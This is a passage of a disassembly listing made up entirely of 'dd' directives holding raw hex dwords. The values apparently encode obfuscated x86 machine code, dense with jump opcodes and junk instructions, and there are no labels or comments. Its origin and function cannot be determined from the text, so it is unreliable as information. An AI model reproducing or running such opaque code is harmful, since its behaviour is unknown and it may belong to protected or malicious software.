		dd 6FCEFC93h, 0F6ECD77h, 0C781D8BFh, 1CDF992h, 0F08BC68Bh
		dd 9E9FCh, 0C6010000h, 0F2A94955h, 66C11374h, 0B70FFA8Bh
		dd 0E9FEB7D6h, 8, 0C3081CFBh, 2A5B1BF9h, 0AE8h,	0E96FA000h
		dd 7B9C3BC1h, 81A76E31h, 61A364F6h, 50575A01h, 5E5BC88Bh
		dd 66DA8B66h, 8E0FFE8Bh, 4, 5EF88B50h, 0C181D38Ah, 69002169h
		dd 0FE9h, 0FEA05E00h, 8C84B738h, 0D3CA4994h, 0E953F505h
		dd 8B666051h, 0FE9D0h, 5E0000h,	0D30D9430h, 10296676h
		dd 0CDB944CBh, 0F5A61F0h, 98Eh,	3850F00h, 66000000h, 6E9CA8Bh
		dd 7F000000h, 0C25946AAh, 5E836h, 0BEC50000h, 66FD6AACh
		dd 8C62F281h, 0DE859h, 60B50000h, 0EBB2EEC4h, 0EC0F404Bh
		dd 0B3EB1C8Ch, 25B85FE6h, 0E93107A0h, 8, 7AF74F49h, 8E244E30h
		dd 28F0Fh, 0E4B60000h, 3344C081h, 0DE87633h, 0BF000000h
		dd 495EC5C0h, 7828DFACh, 9019AF08h, 5BCBB70Fh, 38B0Fh
		dd 0D6800000h, 5870F0Eh, 0BB000000h, 3BEACFBFh,	7028BA66h
		dd 0CE8h, 92A7B000h, 0E90633D7h, 68D8DB3Ah, 5BAEB112h
		dd 9E8h, 0D66C8300h, 0A18BC2ACh, 8A0F1AD1h, 3, 5ADAEB80h
		dd 5850Fh, 56B90000h, 665501C1h, 60EF1DBBh, 7E9h, 12351400h
		dd 9097385Eh, 61F6BF0Fh, 6E9h, 29B4E800h, 0BEFFC326h, 3B5366h
		dd 0B2EE2CBAh, 9FC6817Ah, 0E94AA84Eh, 0Eh, 4EBA9C2Ch, 360DC9CEh
		dd 49420040h, 56F816D8h, 9E8h, 25C7CE00h, 6EA3F34Dh, 14E94C21h
		dd 0A4000000h, 7E76DB08h, 0D7EF3760h, 0A87CEEE6h, 626D8621h
		dd 5E735DE7h, 0E9BCB45Fh, 12h, 0D60F4C8h, 0D5A0EE7h, 0A5547149h
		dd 3B8141EEh, 28B7505Ch, 0CE9h,	13793A00h, 0E849B274h
		dd 0ED4827Ch, 0CA8B66E9h, 0FE52BB66h, 0E9FEB70Fh, 6, 1F69C782h
		dd 6660E019h, 2405F181h, 0DE9h,	6D720100h, 0EFF8E3D6h
		dd 54F40CAEh, 6661DE3Eh, 0BE66DA8Bh, 4DB63504h,	9E9h, 0BB285800h
		dd 35467DAh, 6E8331Fh, 0C3000000h, 9A9E5FD0h, 0FE960D5h
		dd 0C3000000h, 4AE5E0B3h, 1C27A1C9h, 67979574h,	0CF8B070Bh
		dd 81515961h, 1EDE78EAh, 8B665E24h, 0ACC8BBC2h,	5E979D6h
		dd 27000000h, 5AF29FA5h, 3800FF8h, 80000000h, 66FC62D3h
		dd 6E9CA8Bh, 0B5000000h, 0ED4F1F2Fh, 0C9BB6682h, 28A0FC1h
		dd 0B3000000h, 0EE8BFh,	35490000h, 26C94935h, 0A01AC8E3h
		dd 231C79Ah, 2D53D381h,	0E95F2C31h, 9, 0E0957F52h, 9EF83CB7h
		dd 0EE9F83Dh, 7B000000h, 0A1D7905Ch, 82008065h,	4D9AA630h
		dd 6650F822h, 5990E4BAh, 8800Fh, 81520000h, 0E541AAE1h
		dd 0B8575947h, 4C2260B5h, 38B0F5Ah, 0F000000h, 10E9F9BFh
		dd 70000000h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch, 0E9999119h
		dd 13h,	0E5F720CFh, 0BE31ABB7h,	53547760h, 99E45DDEh, 0F83CA19h
		dd 280h, 66D68B00h, 0F681DF8Bh,	4CF3B1DBh, 38E28060h, 0C0BF0F61h
		dd 2860Fh, 0DD8A0000h, 0AE98A3BEh, 0C18B6601h, 7E9h, 0B1526E00h
		dd 3075A310h, 7E960h, 0E9D80000h, 0DE525D54h, 6145B70Eh
		dd 0A41FB866h, 3800Fh, 8B660000h, 0E9D38BD1h, 12h, 3E187B25h
		dd 0F566CA3Ah, 144EE076h, 0B2C684A1h, 0BF0FE873h, 9887B9CBh
		dd 0E9577B08h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh, 58DF815Bh
		dd 526F6914h, 592BBF52h, 585A7EBEh, 66F08B66h, 0F281F08Bh
		dd 584E8C45h, 0E960CE8Ah, 0Dh, 74F779E6h, 14BAA2C6h, 0B789D0FDh
		dd 7387BB1Fh, 66614B58h, 8B66FE8Bh, 0DE9D0h, 3B520000h
		dd 39E037h, 729BAC45h, 8149AB6Fh, 3E9556F1h, 0B3C68A6Eh
		dd 0CE8B6603h, 0DE81FE8Ah, 55F6DDC3h, 0AE960h, 0FD480000h
		dd 0F35030FCh, 690C39D4h, 0C6C18166h, 8F0F611Fh, 2, 9DB250B5h
		dd 706EBB66h, 66FABF0Fh, 0B8461ABBh, 707DEF5Eh,	0DE8h
		dd 4584DE00h, 0DC4A16B8h, 0B841483h, 7E980C2h, 0BB000000h
		dd 70562944h, 0F59A635h, 488h, 1CBA6600h, 0BB66F8A4h, 0E2B6AF27h
		dd 0E4A7C681h, 800F0F0Ah, 0Bh, 5820Fh, 81660000h, 0E9EE02F1h
		dd 0Ch,	0AAD7D37Ch, 83D2CA6Eh, 0A7B08772h, 0E9F7B70Fh
		dd 5, 9F3A352Ch, 5860F31h, 66000000h, 6DE2D781h, 12E960h
		dd 220000h, 0B31CF4D4h,	1490230Bh, 77FAAFD3h, 0F6950D6Eh
		dd 5850F61h, 0BE000000h, 61742CBBh, 78E8BA66h, 6ABDBE66h
		dd 2830Fh, 9AB30000h, 6614B660h, 21DAD181h, 2810F61h, 8B000000h
		dd 7FB866F3h, 0CE8B66DEh, 0A7B3D081h, 0E3817D9Eh, 53473297h
		dd 62B5D781h, 9E918C7h,	0BC000000h, 952B7136h, 4CE56A84h
		dd 2860Fh, 0F88B0000h, 0E9B9CD80h, 9, 0ED925579h, 0D25209A7h
		dd 1ED0817Bh, 0F3CCE28h, 148Eh,	0FE900h, 3A1A0000h, 58F508EEh
		dd 98115843h, 9940E536h, 0AEE7814Dh, 664301EFh,	0C593E081h
		dd 80DA8B66h, 0B966DEECh, 0BE661C27h, 0AE9F33Eh, 5B000000h
		dd 0A8556FBCh, 0EAEC6D80h, 0C68B668Ch, 10E8h, 5B85A00h
		dd 446EBC4Ch, 0A14F9B2h
		dd 4262D6CAh, 9E95FE3h,	0CD000000h, 7612DD7Dh, 0D7466067h
		dd 53CB8B66h, 5BD7BF0Fh, 0BE9h,	0CDADD800h, 2B4C1A1Ch
		dd 0CB9FB466h, 66C88B60h, 22A3C181h, 92E98061h,	5392BE66h
		dd 14E8h, 0E5154D00h, 4EB018ADh, 0F586F9A4h, 1399396h
		dd 269065B1h, 7E95A34h,	31000000h, 0A6991B07h, 8B667D61h
		dd 7E9F0h, 0FAA10000h, 6A349469h, 60CB8A35h, 4890Fh, 0BA660000h
		dd 0E78AE167h, 6FBF5661h, 5F7F4743h, 13CE8056h,	48A0F5Bh
		dd 66000000h, 810A1FB9h, 0E5F979CBh, 1EE814Ah, 0F4428E4h
		dd 8B66DAB7h, 4BBE66D1h, 0D680605Ah, 68D0F05h, 81000000h
		dd 118D7AEEh, 860F612Eh, 1Eh, 18880Fh, 12E80000h, 5B000000h
		dd 561795F4h, 700B2226h, 0FDFBE2D0h, 0EFA20D7Dh, 8B95848h
		dd 0E8701D17h, 0Fh, 0D36F01Fh, 282548EDh, 7E5FF0FEh, 6601BFAFh
		dd 665FD68Bh, 0F68BC981h, 12C2F5B9h, 8B66566Dh,	59565ADEh
		dd 4840FF5h, 66000000h,	0F7A2BB9h, 168Dh, 0DE800h, 7F230000h
		dd 6A34B7Ch, 0D11D7CD9h, 0F18297Eh, 0F5BD3BFh, 188h, 0DE9F900h
		dd 16000000h, 0B37AA0BAh, 1F750089h, 0D3B57DB5h, 4DCE8166h
		dd 1ABF662Eh, 58C68096h, 5C2EFEBBh, 10BA6641h, 0C0BF0FCCh
		dd 12E8h, 0A0E1700h, 3DB8A28Ch,	1C9553A1h, 62483482h, 6076BBB4h
		dd 0D6E7CF81h, 8B665745h, 665A61C2h, 92B7F28Bh,	0C081CDB1h
		dd 76F74A42h, 71BB40B8h, 0E9F8B17Fh, 14h, 24544A9Eh, 92B8816Ch
		dd 923EC072h, 0AA913888h, 7CB41D8h, 80F13FBAh, 0BB7FBB15h
		dd 8B664E71h, 48D0FD6h,	66000000h, 0B9FEDEBFh, 73AAC736h
		dd 8BC7B70Fh, 97D880C7h, 88E0Fh, 0F600000h, 0BF0FFAB7h
		dd 816661FFh, 0F3BFDC3h, 580h, 0E8816600h, 0C38B3583h
		dd 0F2BA66F5h, 0D68B6696h, 0F081EF8Ah, 0C5BFC03h, 0FD6B70Fh
		dd 0C880C7BFh, 1D7BBFEAh, 9FB031C8h, 0F9CFB70Fh, 908EA81h
		dd 0F2BB6BE6h, 0FC2E9730h, 66D1B70Fh, 0BE21F081h, 0B866F08Bh
		dd 60FCC5D8h, 0AE9h, 60BCBE00h,	0A78ECC45h, 0F96E4890h
		dd 1D9BBF61h, 0E6BF3009h, 0F559976h, 118Ch, 0CE900h, 0AEAF0000h
		dd 72CE29CCh, 0E1C98A64h, 0EE9EE08h, 0AC000000h, 6E445A5Fh
		dd 1EEF287Ch, 44E9A854h, 0EBD480B7h, 0D08BB4B3h, 17E18166h
		dd 66E58A9Ch, 8BA7C081h, 0BA6660F9h, 10E99A26h,	39000000h
		dd 0F9ABBF39h, 8C9AAFF3h, 33A7F752h, 61338A56h,	25C9BB66h
		dd 14E90BB3h, 81000000h, 8FEA4169h, 0FCCF2A27h,	21F7FCEAh
		dd 7B1C3C3Bh, 80C95FB1h, 840FD0D3h, 6, 870Fh, 2CB30000h
		dd 0E810Fh, 9E90000h, 6A000000h, 2A1F24A5h, 0F7279297h
		dd 0C3BF0F60h, 164BFAB9h, 0D2806174h, 9E9EEh, 2DCD0000h
		dd 9FCA6D7Eh, 6613E981h, 0D2CBE781h, 58B0Fh, 15B90000h
		dd 0E92F65E0h, 0Dh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h, 0CAB70F89h
		dd 0BDBABE66h, 2C96BF66h, 0E9FEB70Fh, 9, 0BA057600h, 102CCDBDh
		dd 1B7ABE14h, 0BE665B66h, 0FE8922Fh, 91000000h,	978E7C94h
		dd 0CB4D0D96h, 7ABDE963h, 0BB66B1AEh, 0BA597454h, 2B53204Ah
		dd 0A9C38166h, 0EE88Fh,	3B6D0000h, 894AA578h, 610A9549h
		dd 82F25739h, 6840Fh, 8C0F0000h, 0
		dd 1CE9B85Fh, 0CE94985h, 2B000000h, 39F7C93h, 0E32E5D78h
		dd 57194C50h, 0E8F0Fh, 8E80000h, 0E8000000h, 8CF4C4B6h
		dd 5892EEE4h, 3870F5Eh,	66000000h, 66FCF28Bh, 1FA8E681h
		dd 28D0Fh, 0F78B0000h, 2800Fh, 0D78B0000h, 57ACB866h, 8B70CE80h
		dd 8B6660FEh, 61FBB1CAh, 80D2B70Fh, 0F56EBE3h, 589h, 730BE00h
		dd 8A591E0Eh, 68E0FCFh,	81000000h, 15218AC2h, 0A6BE5752h
		dd 584D652Fh, 8E860h, 0C39C0000h, 0AD23D6ADh, 0BE662036h
		dd 0FC59A7F4h, 0DE961h,	3F4B0000h, 0E69A09FFh, 707B7D4Bh
		dd 666BB8E0h, 6A9ADE81h, 80D8B70Fh, 81F91AF7h, 7D741CDBh
		dd 10E96Eh, 0D8610000h,	0A590FA3Eh, 0EFF0EE12h,	8C5928F6h
		dd 0FCF8FADBh, 4567DB81h, 0F501918h, 286h, 5AFC8A00h, 0AAE98160h
		dd 660EEB65h, 0F61C78Bh, 138Fh,	0EE900h, 8E840000h, 1BB9CA0Fh
		dd 66194D1Bh, 3546DE1Ah, 0E9F56060h, 0Ch, 5409D14Eh, 77FDA53Dh
		dd 4E005C4Bh, 5E861h, 2FB30000h, 0E96762EDh, 7,	0B0877283h
		dd 5ED792A7h, 8B666061h, 585161DEh, 0DE8B66F9h,	870F6052h
		dd 0
		dd 61C3B70Fh, 0F2B9665Fh, 2653BE67h, 0C28B306Ch, 60605FB2h
		dd 0A198E681h, 0B70F2DBDh, 8B0F61F9h, 0Ah, 5E9h, 0CB8CE900h
		dd 66614DE0h, 0FA817B8h, 5060D8BFh, 0B8E88166h,	0BF0F5EC9h
		dd 0BF6661F3h, 4FB00068h, 5199EE81h, 8B660E82h,	3810FFAh
		dd 0F000000h, 0B9FCD0B7h, 32D641D8h, 0C0BE6650h, 12E959B1h
		dd 8B000000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h,	0A2E360EAh
		dd 0E94CB075h, 10h, 288C781Ch, 9FC8CE1Fh, 5E98A9FFh, 7E623A26h
		dd 0F4BB6650h, 0DE9584Ah, 0E1000000h, 5776C219h, 0F9625729h
		dd 735845E4h, 0D0C28166h, 11E901h, 30C10000h, 0A281B6EFh
		dd 3B28D89Bh, 3F909495h, 80E086AAh, 0BF0F07C6h,	8A0F60CBh
		dd 6, 860Fh, 59B60000h,	7E961h,	600B0000h, 5A9722FAh, 0FEBF0F8Ch
		dd 0E9C8BF0Fh, 9, 13FE9D60h, 0FA53B0B3h, 18A0F53h, 0F8000000h
		dd 0FF98B66h, 285h, 53FB8B00h, 12E856h,	6A460000h, 0C65F885Fh
		dd 0DD5CF6ABh, 0E49939BBh, 5B3B06E5h, 8B5F5F5Fh, 0D38B66CFh
		dd 0B8C0Fh, 8F0F0000h, 5, 0BDD5CFBAh, 5E83Ch, 46EF0000h
		dd 0E9A40774h, 11h, 6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh
		dd 14E959E2h, 6B000000h, 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh
		dd 0BFA7731Fh, 66B03349h, 3D02E681h, 11E8h, 4852EF00h
		dd 0F41B4C0h, 86C660E7h, 0E62E16F4h, 8166B607h,	5B8869E9h
		dd 0C78045B1h, 696BBA6h, 810F1F10h, 0Ah, 0F616060h, 8Eh
		dd 8A0F6100h, 3, 0E9FBB70Fh, 10h, 7D79BC2Dh, 0F73D5ED1h
		dd 4EB5558h, 864532C6h,	0D78B6656h, 14E859h, 0B6E10000h
		dd 513E71D3h, 8ABD06Fh,	0E4465F08h, 6396C5C8h, 0BE9CF0Ah
		dd 0B0000000h, 25206D6Ch, 0A710F5B0h, 0E95E7C32h, 8, 74C2375Dh
		dd 0A47139A3h, 60C88B66h, 59F88B52h, 11E9h, 0E6535C00h
		dd 465C9112h, 0C45A02Bh, 9E8818D5h, 81615E4Dh, 0B6A327EBh
		dd 0BDB76030h, 3880F61h, 80000000h, 51B258D2h, 1890Fh
		dd 0E9FC0000h, 14h, 37AD0A09h, 68908792h, 913AFF9Ah, 0A637D134h
		dd 866181E7h, 0FF927B2h, 8166C2B7h, 60B3D0DBh, 0C2BCBB52h
		dd 0E9590B5Dh, 14h, 16BF8E74h, 7D54C957h, 7AFB315Eh, 0B1ADB47Ch
		dd 0D0EDC5D9h, 7E9FC61h, 67000000h, 4FEF7F0Ch, 0D18BF0BDh
		dd 3D021B9h, 0F3B70F55h, 0CE9h,	0E3CEC800h, 55D5A3B0h
		dd 74D98E66h, 4850FB0h,	66000000h, 668603B9h, 0F6ED6BBh
		dd 385h, 1CF68000h, 0EE9h, 0C251DB00h, 0D6B6EAFEh, 0C1AD8486h
		dd 668DF397h, 81F8C28Bh, 0FFF1D1F2h, 0FDA8A20h,	0E8Dh
		dd 9E900h, 0B41B0000h, 79635B32h, 81B6D54Ah, 8523AAE9h
		dd 52EB815Dh, 0BB2B13E1h, 6556ABB5h, 5E8h, 8BF1B400h, 8B668FEEh
		dd 0B5535BC7h, 0F2BE5B65h, 0B233A0ADh, 6E9FAh, 4EDD0000h
		dd 0A02A9E2Fh, 5E8h, 480EC500h,	6659CE0Ch, 66477EBEh, 0FFCC68Bh
		dd 387h, 0D8BF0F00h, 8A0Fh, 860F0000h, 0Ah, 5E9h, 84EFAE00h
		dd 0BE667B84h, 0CFB2D1EAh, 0CB8B5360h, 0FA8B6158h, 14E9h
		dd 0E4621800h, 0F8B25D74h, 0C9F42F84h, 0F2D875BBh, 30983BCDh
		dd 0DE91Ch, 0E8A00000h,	298EF69Dh, 3B62F988h, 81A3C627h
		dd 1230AD3h, 0E7816669h, 6660973Dh, 0B966FE8Bh,	0E961BDDAh
		dd 12h,	654AA9B1h, 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 81661D63h
		dd 0E931A5D3h, 8, 6617E597h, 55EC2678h,	0D9B0E781h, 0AE96E34h
		dd 77000000h, 0A6252633h, 4C5968A5h, 8A0FF8B0h,	2, 0BF0FF18Bh
		dd 6860FC2h, 60000000h,	61606160h, 0CB816661h, 0B866105Fh
		dd 0BE66EDC8h, 6E895ECh, 61000000h, 0C13A4FD6h,	0BF665166h
		dd 585A4E62h, 59F98B50h, 8D0FDE8Ah, 5, 9D38166h, 7C2810Ch
		dd 660BFD76h, 0F2240BAh, 1383h,	0EE900h, 8E60000h, 0F9B3EA7Dh
		dd 873FE3ABh, 997C7577h, 58565060h, 4850F5Eh, 66000000h
		dd 61B212BBh, 0FFBB70Fh, 28Dh, 81F2B500h, 0DC1716EEh, 0E8C28B76h
		dd 0Ch,	0FE4B09DEh, 0CE69C4B1h,	0FA600BB2h, 5EF2BF0Fh
		dd 9D50B966h, 0FE8h, 4A92E000h,	0C350A0B0h, 74D74DC1h
		dd 0F641BDE6h, 5259DF8Bh, 6870Fh, 850F0000h, 0
		dd 9E85Ah, 9C6E0000h, 0F9D56F3Ch, 0FC974E75h, 0B8F0F58h
		dd 0E9000000h, 6, 0CB99964Bh, 0CA808DBFh, 0FFEB4F4h, 386h
		dd 0F78B6600h, 6075D980h, 51D7E181h, 0BF0F6930h, 99B861FEh
		dd 501A9482h, 61EDEA81h, 0F55F06EFh, 0FC20E081h, 0B70F7ACFh
		dd 28F0FD2h, 8B000000h,	0CF81FCC6h, 5302EE3Bh, 9B08AFB8h
		dd 0C8A0F1Ah, 0F000000h, 68Fh, 810F00h,	0F000000h, 584h
		dd 1BCABE00h, 0EA8A38A7h, 0BE960F8h, 81000000h,	76340042h
		dd 0DABA5001h, 81664440h, 610216CAh, 0E9C1BF0Fh, 0Dh, 5965FD8h
		dd 9F8AEA9Ah, 4F37C041h, 7635B995h, 0BF0F13FBh,	8C0FF5FBh
		dd 4, 124B866h,	929FB966h, 19820Fh, 14E90000h, 0FB000000h
		dd 0E61C5958h, 9EFE955h, 5623512Ah, 9C62E0BAh, 0F0BA410h
		dd 588h, 0E6816600h, 0E860E6D3h, 14h, 2792972Ah, 0FC68E2F7h
		dd 0BB9F644Dh, 4BCA51F3h, 78FC85C1h, 6830F5Ah, 0F000000h
		dd 86h,	0BA666100h, 41B33C84h, 0DE8h, 54CCCB00h, 0A1049C96h
		dd 0C710D554h, 0F602647h, 87h, 0E3816600h, 5F616244h, 0FFB8B66h
		dd 0EE9C8B7h, 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h
		dd 0E681668Ah, 0FFC4D7Eh, 1785h, 11860F00h, 0E9000000h
		dd 0Ch,	3F91C7BAh, 0E2E95E65h, 8DC6E95Ah, 0AE9h, 0A8FB0F00h
		dd 43F57536h, 8BBB5E27h, 0FA1B0C7h, 2682h, 10E800h, 794D0000h
		dd 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah, 0BE9A70Ch, 0DA000000h
		dd 0D590CAF4h, 0F3A47804h, 0E85976E8h, 0Dh, 0EA505179h
		dd 7960E088h, 9E02A499h, 0F0805247h, 665A5BF7h,	0FE9AD881h
		dd 0EF9CCB81h, 14E92183h, 40000000h, 7753DBD3h,	467290D1h
		dd 70A98751h, 66C5D82Eh, 60C0D07Eh, 7E9h, 447C2A00h, 7D4C118h
		dd 0CE9h, 265A7100h, 0E979907Eh, 2EE4CC7Bh, 96BE6144h
		dd 663A026Fh, 0B390B6BAh, 69BE669Dh, 2EEF81D0h,	53082E79h
		dd 3C6739BAh, 6660581Ch, 78CAE081h, 0FB8B61F5h,	4830Fh
		dd 0BF660000h, 7E9FFEDh, 0F5000000h, 0B3B4FA9Ah, 8E9AC03h
		dd 94000000h, 0B3280026h, 0BEBA99B7h, 347F5936h, 8E9h
		dd 0CA423300h, 746C491Eh, 0AE9FCA5h, 0A1000000h, 5535E90Bh
		dd 241D61C6h, 0D98BF897h, 7DF780F9h, 0BE8F38Bh,	0D3000000h
		dd 0F75E8B01h, 76969EC3h, 605A8FC3h, 2F23BF66h,	8A613DB2h
		dd 57F681F0h, 0F03BCB2h, 381h, 0EADB8000h, 0C6E18166h
		dd 0E28160B5h, 4A56CD1Dh, 14E961FCh, 65000000h,	53EE074Eh
		dd 0E8FFD898h, 723B6FC2h, 576B54CFh, 0FDD47C4h,	87h, 0F6BE6600h
		dd 0C28B665Bh, 840F5951h, 0Ah, 5E9h, 0E4896F00h, 14E8B615h
		dd 74000000h, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h
		dd 8BD0EDC5h, 11E959F1h, 60000000h, 0BA9E7F75h,	91A26718h
		dd 0B2B9138Ch, 0E75B95Ch, 0FE8BF560h, 38B0F61h,	0F000000h
		dd 6660F2BFh, 0BE73DDBAh, 240DCEADh, 1DD88161h,	8B53EB57h
		dd 5E9D8h, 70250000h, 0E9AFA8EAh, 9, 4DF8613Bh,	783BD88h
		dd 5E80Dh, 879F0000h, 515A1817h, 5B5BC88Bh, 6E9h, 74221900h
		dd 0F09D443h, 81h, 850F6000h, 2, 61F95F50h, 0F1BF0F60h
		dd 0AAB7EDBFh, 890F6178h, 4, 0E2C6BA66h, 6870Fh, 0F6810000h
		dd 6774A2F6h, 9864D281h, 8BFC2BDDh, 8DDE81F2h, 0FC758EBEh
		dd 7E9h, 0BBDA9700h, 0F65E62Ch,	0BED68B66h, 5F60B811h
		dd 0FE957h, 9AA00000h, 690231C7h, 9C934B8Ch, 72452653h
		dd 91BB5AE9h, 0F85DDE13h, 12E9h, 0E58E7A00h, 2399BE28h
		dd 737B769Eh, 0C7BFC543h, 0F9A46EDCh, 5870Fh, 81660000h
		dd 8B6E82EAh, 0A2D580C6h, 8BC2B70Fh, 1860FD0h, 0F5000000h
		dd 0DE8166F8h, 9AB2DD93h, 0C8BF0F52h, 4DBB665Bh, 5870F57h
		dd 66000000h, 60FDC381h, 0F2D38166h, 0C381667Eh, 0EB800CF3h
		dd 11E9C8h, 4E000000h, 2F018F74h, 598889ABh, 0CD304FACh
		dd 0E93BFD01h, 0Ch, 2D9941Ch, 7B947681h, 55183889h, 0FE9h
		dd 0DCBF9400h, 9D9195E6h, 47D5A5E5h, 67529C84h,	72B358B3h
		dd 58E0Fh, 0E9BF0000h, 660B3257h, 0F9D4CB9h, 0D98BF8BFh
		dd 0BE6686B7h, 0FE93502h, 3C000000h, 0DBB90A5Dh, 0E010CD1h
		dd 392F7F4Ch, 81668F25h, 60F753DEh, 0F6BF0FF9h,	5E861h
		dd 0CD3B0000h, 812D146Ah, 0C1173C8h, 8E0F5843h,	5, 46DB8166h
		dd 3850F40h, 0F000000h,	10E8C7B7h, 47000000h, 5AD43EAAh
		dd 0E6DF4AABh, 0F43B9966h, 59ADC4B5h, 0A332B866h, 810FAEB0h
		dd 3, 0FD38B66h, 0DE9C3B7h, 10000000h, 0D21EC580h, 0EFEF1F8Fh
		dd 0F16E333Fh, 0AE9h, 62D88500h, 42112224h, 0E8C933F0h
		dd 8, 0EF91D740h, 74A3C1C1h, 3F0AB966h,	0BF0F5159h, 81665BCBh
		dd 0E8A50EEAh, 0Eh, 0D028A7D6h,	9D4704CAh, 0FE03E50Bh
		dd 0F2810639h, 28C44C44h, 60575659h, 515E5961h,	0F5BCDB6h
		dd 586h, 42D6BB00h, 70BE2431h, 0F80FDB97h, 5651F78Ah, 6178B966h
		dd 8B665858h, 0D38BF5D8h, 0D78166F8h, 8166C2D8h, 664D4AC8h
		dd 0DCBDC981h, 8104E480h, 37B2BFC9h, 0D9BE6616h, 9E856D8h
		dd 76000000h, 62DACCB1h, 0FA62DEDEh, 5ACE8B66h,	0BE958h
		dd 3B0E0000h, 0BE7DF403h, 1DB6E394h, 0CF816693h, 5E8555Fh
		dd 26000000h, 7ED9A8E4h, 535FEC8Ah, 0B9F08166h,	0ECB25EDFh
		dd 60C8BF0Fh, 0BF0F01B4h, 0C38B61FEh, 8C0FACB5h, 3, 0FCC9B70Fh
		dd 0F441B966h, 5E9h, 5E7C4400h,	820F89E2h, 2, 5E8F38Bh
		dd 88000000h, 38D6A006h, 0E9EB8A59h, 14h, 0CB8056B9h, 0BB4E91D4h
		dd 0F810A070h, 205A4312h, 3624B688h, 8AF98B66h,	9E8FEh
		dd 9A860000h, 4F8707ADh, 80E51FE5h, 815A1ED6h, 0BA538AC7h
		dd 5AFDB834h, 0DE95B49h, 2C000000h, 479FE06Dh, 1201288Eh
		dd 42FC67B2h, 0FCABF0Fh, 9E9CBBFh, 0D000000h, 2D5C6603h
		dd 66581237h, 0EA8166F9h, 0BE9AF01h, 86000000h,	727BC774h
		dd 27608E0Fh, 81665895h, 0E9F173E3h, 10h, 0BA893D10h, 6D6A3C29h
		dd 7456B53Eh, 3D422C97h, 9FD46DB8h, 11E81Ah, 34F40000h
		dd 4A1AEA0Ah, 0BEAEB108h, 62A8E747h, 5ABB5C54h,	0FEED780h
		dd 5E8D9B7h, 40000000h,	0EB9F94CAh, 81CB8B59h, 0CD1C7C8h
		dd 0AE943h, 0B6E70000h,	0B772D309h, 920399DEh, 0FC28B66h
		dd 58Dh, 0C6816600h, 0D28134DCh, 6D85F9D8h, 66C78B66h
		dd 15C5E281h, 36A803B9h, 6850F51h, 81000000h, 0B2BA5AC9h
		dd 6E878h, 0E8560000h, 29C2AAE3h, 88C58060h, 8B0Fh, 5A610000h
		dd 66D3BF0Fh, 8B66CF8Bh, 0FE8B66C6h, 0CE9h, 0BA10500h
		dd 0C65535E9h, 97241D61h, 66DA8BDCh, 0CB8BDA8Bh, 0E8C1B70Fh
		dd 12h,	33359783h, 0C6E63F7Ch, 0C82F28BCh, 0ACA07C26h
		dd 58F95C64h, 4EF38166h, 0B9B966FDh, 0B2B866D4h, 0E3F681C9h
		dd 0BA5BC185h, 1DC3D6D6h, 0CAF2BA66h, 0FFCF1B6h, 8E8D0BFh
		dd 23000000h, 5F76DAC8h, 0FDFB8A4h, 565AD1B7h, 25EE8166h
		dd 5FB45972h, 0E9F9D88Bh, 13h, 41D2F0BBh, 54E442BDh, 0BA5F4C6Eh
		dd 4FE3BBAFh, 0E89116E1h, 10h, 0E5E49939h, 0A5B3B06h, 0DA45FE77h
		dd 3D0D86C1h, 5AFB8B66h, 48C0Fh, 60530000h
		dd 0F605961h, 682h, 8A0F00h, 56000000h,	8A0F6159h, 2, 0E950CA8Bh
		dd 9, 3B23E42Fh, 6EB95786h, 8E95A5Fh, 0CB000000h, 6ABCE889h
		dd 0FC8DEFEDh, 81CABF0Fh, 388A3BC7h, 2850F37h, 8B000000h
		dd 0C78B57F1h, 10E85Ah,	8BA50000h, 69A1B392h, 0DB5EC7A1h
		dd 4CD976FCh, 0EE810030h, 0B4A233Fh, 0CE95Ah, 0A7150000h
		dd 1D64B21h, 9EC951B0h,	60B897DCh, 0F6E8E7Dh, 0BF0FF0BFh
		dd 0FE8CAh, 0CFB20000h,	9663C294h, 8E795FE1h, 91EBF02Ah
		dd 5A12B21Bh, 64BE69B7h, 0B92049B1h, 0E5D494Ch,	0EE8h
		dd 0F991F900h, 0BEF2FBE9h, 0C8B30BA3h, 0E9EF6CCAh, 0Fh
		dd 7CC71FF7h, 0B52740F3h, 0EE836E95h, 5B20D3F7h, 13E8h
		dd 0E4836C00h, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh
		dd 0D5C8BE66h, 13E958h,	0ADF0000h, 0FCADC123h, 53A458C0h
		dd 283C87EEh, 8056B9AFh, 0BA66CBh, 8095B83Ch, 0CB81132Dh
		dd 633DD9DBh, 0C8B0Fh, 7E90000h, 0BD000000h, 0ADCFC135h
		dd 0FCB09D2Ah, 626CBB66h, 6088D380h, 61F6BF0Fh,	39F38166h
		dd 8166506Fh, 5F8159C6h, 6E9h, 71DE9F00h, 8B154343h, 66F8F8F1h
		dd 0F40FD881h, 76F28166h, 56F38A8Ch, 6160FC60h,	0E9535E61h
		dd 6, 9B8E58AAh, 0E958CFE4h, 13h, 6CCEBB2Ch, 0DDCCE273h
		dd 48E7A7ABh, 56BB54DFh, 0BB8211E2h, 2F4D9DF1h,	0E1BE6651h
		dd 81665B0Eh, 0F0165CAh, 870FCBB7h, 1Ah, 14E8h,	921A2200h
		dd 2C2221ECh, 0CEC0E21Fh, 0F0F627EBh, 1028E7C7h, 81665E30h
		dd 57C669EBh, 47A6FFBEh, 0C5B05B2Bh, 982DE781h,	66604EF3h
		dd 511FA9BFh, 61585951h, 0C0DE81F8h, 5145099Fh,	0AE9h
		dd 5B71C600h, 0A0E9DCB8h, 5BBD8393h, 984180B8h,	9CB9600Fh
		dd 0F7CA84Fh, 288h, 61EC8A00h, 247881B8h, 48A0F40h, 66000000h
		dd 8B8F2EB9h, 28D0FCEh,	8A000000h, 88C0FE6h, 53000000h
		dd 810Fh, 605E0000h, 1800Fh, 61F50000h,	810F60F5h, 3, 0B8CEC980h
		dd 209286DFh, 96C78161h, 0E937B694h, 10h, 2246C578h, 0D344956Bh
		dd 0A9BA09DFh, 0E294AF4Dh, 0B805D280h, 52A35576h, 0CA81D08Ah
